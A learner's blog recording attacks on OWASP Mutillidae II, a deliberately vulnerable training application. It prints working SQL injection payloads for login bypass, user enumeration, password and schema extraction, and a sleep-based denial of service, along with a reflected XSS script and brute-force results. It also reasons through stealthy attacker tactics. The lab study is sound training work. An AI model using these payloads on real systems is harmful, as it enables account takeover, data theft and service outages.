About this blog

I'm a developer with over 10 years experience who wants to transition to infosec. This blog is an informal record of my experiments with OWASP's Mutillidae II, a web application exhibiting a multitude of deliberate vulnerabilities. I will also take Offensive Security's PWK training course and get the OSCP certificate
Showing posts with label sqli. Show all posts
Showing posts with label sqli. Show all posts

Wednesday, 31 August 2016

Revising history

In the page where you can add blog comments, the insert statement is subject to a sqli.

INSERT INTO blogs_table(blogger_name, comment, date) VALUES ('admin', 'comment', now())

A comment can therefore be made to appear it was created at an arbitrary time:

gone back in time', now()-60*60*24);#


This page is also vulnerable to stored XSS, because we can put anything we like (javascript) into a comment.  

User lookup page vulnerabilities

You have to enter a user/pass and it will return the info for that account.

To return all user info:

For the SQL version: or true;#

For the XPath version: ' or 'a' = 'a

For the SOAP version, all you have to do is install SoapUI, paste in the WSDL location to generate sample requests, then the API allows you to CRUD account entries - no security whatsoever.


Note: I had problems getting SoapUI 5.x.x to work with Kali, so I used 4.x.x instead.

The SOAP requests are injectable.  

The API is a bit chatty:

User stabinthedark does not exist
User admin already exists

The API allows us to createUser without any security.

The getUser operation can be made to list enumerate all users.

' or username like '%';#

Because it's a non-blind sqli, we can use it to get passwords (or any other data we know the table/column names of), stuffing the results into a column like signature:

admin' union select username, password from accounts where username = 'admin' limit 1,1;#


Because the permissions are so bad, we can even look up all the tables (and from there all the columns, and from there all the content...):

admin' union select table_schema, table_name from information_schema.tables;#



updateUser just overwrites data without any security checks at all.  Entering naughty things into the fields resulted in a chatty error message (decoded by this) telling me how the query was formulated.

UPDATE accounts 
SET 
username = 'admin', 
password = 'default', 
mysignature = 'default'
WHERE
username = 'admin';

Because this is a multiline statement, it's a bit tricker to inject, but still doable.  But why bother when it is already allowing you to update accounts with no authentication or authorization checks!

The page is also vulnerable to reflected XSS, e.g. injecting 

<script>new Image().src = "http://localhost/mutillidae/index.php?page=capture-data.php";</script>

...into this GET...

http://localhost/mutillidae/index.php?page=user-info.php&username=%3Cscript%3Enew+Image%28%29.src+%3D+%22http%3A%2F%2Flocalhost%2Fmutillidae%2Findex.php%3Fpage%3Dcapture-data.php%22%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details

..leads to the 'attacker' page being called.

I didn't bother to send the cookie and whatnot as payload (which I'd need if I sent the request to another domain) because it's trivial.

Tuesday, 30 August 2016

DOS using sqli

With any sqli it's easy to completely clog up a service.  In the case of login.php, we can just add the following:

' or (select(sleep(60)));#

This will effect a 60 second sleep for every row present in the accounts table.  Like this it will be easy to totally exhaust the connection pool.  Doing that a lot or for a decent duration is bound to attract the attention of any company, and would be fixed ASAP.  Unless the DOS was for some specific high-value purpose (like preventing votes within a certain time period) then it would be a 'waste' of a sqli to do such a thing.  

However an attacker could be more subtle and merely degrade the service by clogging up some fraction of the connection pool or introducing smaller delays across the whole pool, leading to customer dissatisfaction which could also be damaging (e.g. in low latency situation, such as retrieving highly volatile time-sensitive data).  The target company would likely find this sort of thing harder to identify and track down, especially if the attacker did it intermittently.

Feasibility of brute forcing a remote login

Previously we brute-force mined the admin password using a blind sqli, to get the result adminpass.

But Mutillidae's login mechanism doesn't have a lockout either, and the password was weak, so maybe we could have successfully brute forced this password from a wordlist, without even having a sqli.

However, even something as simple as adminpass may take a very long time to come across, and depend on the wordlist used.  On Kali, out of well  over 100 wordlists, only 4 have it.

$ find -L /usr/share/wordlists -type f | wc -l
169

$ find -L /usr/share/wordlists -type f -exec grep -H ^adminpass$ {} \;
Binary file /usr/share/wordlists/sqlmap.txt matches
/usr/share/wordlists/metasploit/ipmi_passwords.txt:adminpass
/usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt:adminpass
/usr/share/wordlists/metasploit/common_roots.txt:adminpass

Collapsing all the .txt wordlists down into a single list reveals there are about 2 million entries:

$ find -L /usr/share/wordlists "*.txt" -type f -exec cat {} \; | wc -l
2632913

$ find -L /usr/share/wordlists "*.txt" -type f -exec cat {} \; | sort | uniq | wc -l
1942391

If we gave the server 100 logins/sec (across many threads), that would take about 5.5 hours to exhaust that list for one account, which might be worthwhile for an attacker in terms of a quick hit and run.  That is feasible.

But trying all combinations of characters is definitely less attractive over a network at a mere 100s of requests/second.  Even a 5 character password of all lower case letters would be 11 million guesses...

This might still suit some attackers, I'm guessing.  Maybe they could afford to drip-feed guesses in over days, weeks, or even months for the payoff.  Or maybe the organization being targeted is so big and fielding so much traffic that 100s or 1000s of extra logins/sec aren't going to negatively impact anything, and monitoring/alerting may not even pick it up (or if so, maybe not immediately).

Rational guidelines that I can think of for an attacker might be:
  1. Exact account needed = massive wordlist
  2. Volume/any-account-will-do: top N passwords by frequency fitting userbase profile
  3. Short of time or webscale company where traffic will be lost, stealth not needed: hit as hard as possible, parallelize, smash n grab
  4. Small company can't handle load, or stealth needed: drip feed
  5. Probably wouldn't bother at all with brute force combinations, when there are millions of publicly released actual passwords to create wordlists from (and humans are predictable) unless totally desperate for a specific account and not under time pressure
Anyway, just for the hell of it I'll write a single threaded wordlist brute forcer and try it out on Mutillidae.

Result:

*** starting admin
100 passwords done for admin: rps=14 - 1234
200 passwords done for admin: rps=14 - 1986673
300 passwords done for admin: rps=14 - 3ware
400 passwords done for admin: rps=14 - 9ijn7ygv
500 passwords done for admin: rps=14 - CMSBATCH
600 passwords done for admin: rps=14 - HP
700 passwords done for admin: rps=13 - NAU
800 passwords done for admin: rps=14 - POSTMASTER
900 passwords done for admin: rps=14 - SESAME
1000 passwords done for admin: rps=14 - USER2
1100 passwords done for admin: rps=14 - accord
*** password for admin is adminpass (1122 requests)
*** elapsed minutes: 1.3283847778320312
*** starting bryce
...
*** password for bryce is PASSWORD (781 requests)
*** elapsed minutes: 0.9175332845052083
...
*** password for dave not found
*** elapsed minutes: 5.59463681233724
...
*** password for PPan is nottelling (3437 requests)
*** elapsed minutes: 4.195157751464844...

Well, you get the idea.

Monday, 29 August 2016

Brute force data mining with any sqli

So on the first page I looked at - login - there was a sqli.  We can't get any SELECT output from the sqli (e.g. SELECT PASSWORD...), so I think that's called a 'blind' sqli.

Anyway, we can distinguish between an arbitrary proposition passing and failing (in our case by presence/absence of error message, although a timing attack would also do), and in conjunction with already knowing the table and column name (thanks to that chatty error message), it is enough to have a go at brute force mining the password, in case it is in plain text.

I mine the length first, for two reasons:
  1. It will cut the number of requests down (don't have to exhaust the character set at the end)
  2. My testing found that character indexes that didn't exist matched a space, and I couldn't be bothered to make a special case for detecting actual space versus a nonexistent char
I also looked up the frequency of password chars and test for them in that order, to reduce request volume.

Result:

length  9
password 'adminpass'
77  requests in total

It was plain text, which is bad.  I think most people know by now to store salted hashes, and make the hash cost high.

Brute forcing is noisy, but really 77 requests is cheap to get a password!  That sort of volume probably won't attract any attention, and nobody gets locked out of their account either (we aren't passing a username when we fail).

Really, any sqli will do.  And if I didn't know the table/column name, I could get 'meta' and start brute force mining the schema/table/column names themselves and burrow top-down into interesting strings (really noisy, but it'll work if the permissions are good).

Login sqli

The page allows you to discover whether an account exists, which is info leakage.
The username case doesn't seem to matter, admin, Admin, aDmIn are all treated the same.

Single quote in username field:

Query: SELECT username FROM accounts WHERE username='''; (0) [Exception] 

Single quote in password field:

Query: SELECT * FROM accounts WHERE username='' AND password=''' (0) [Exception]

It also shows that MySQL is being used.  An application should not be giving this kind of information away when an error happens.

Presumably if a row is returned, the app takes this as a successful auth, so let's try:

' or true;#
There are likely other accounts... and returning more than one row should have resulted in an expectations violation, but it didn't.

' or true limit 1,1;#
Not knowing Python at all (and wanting to learn it instead of using bash), it took me a while to write a satisfactory script to enumerate accounts:

Result:

{'bryce', 'dave', 'admin', 'cal', 'patches', 'jeremy', 'PPan', 'dreveil', 'samurai', 'scotty', 'jim', 'kevin', 'adrian', 'bobby', 'james', 'simba', 'john', 'rocky', 'ed', 'tim', 'ABaker', 'CHook'} 
22 accounts 

Or we could have just gunned straight for any user we know the name of, etc:

' or username = 'kevin';#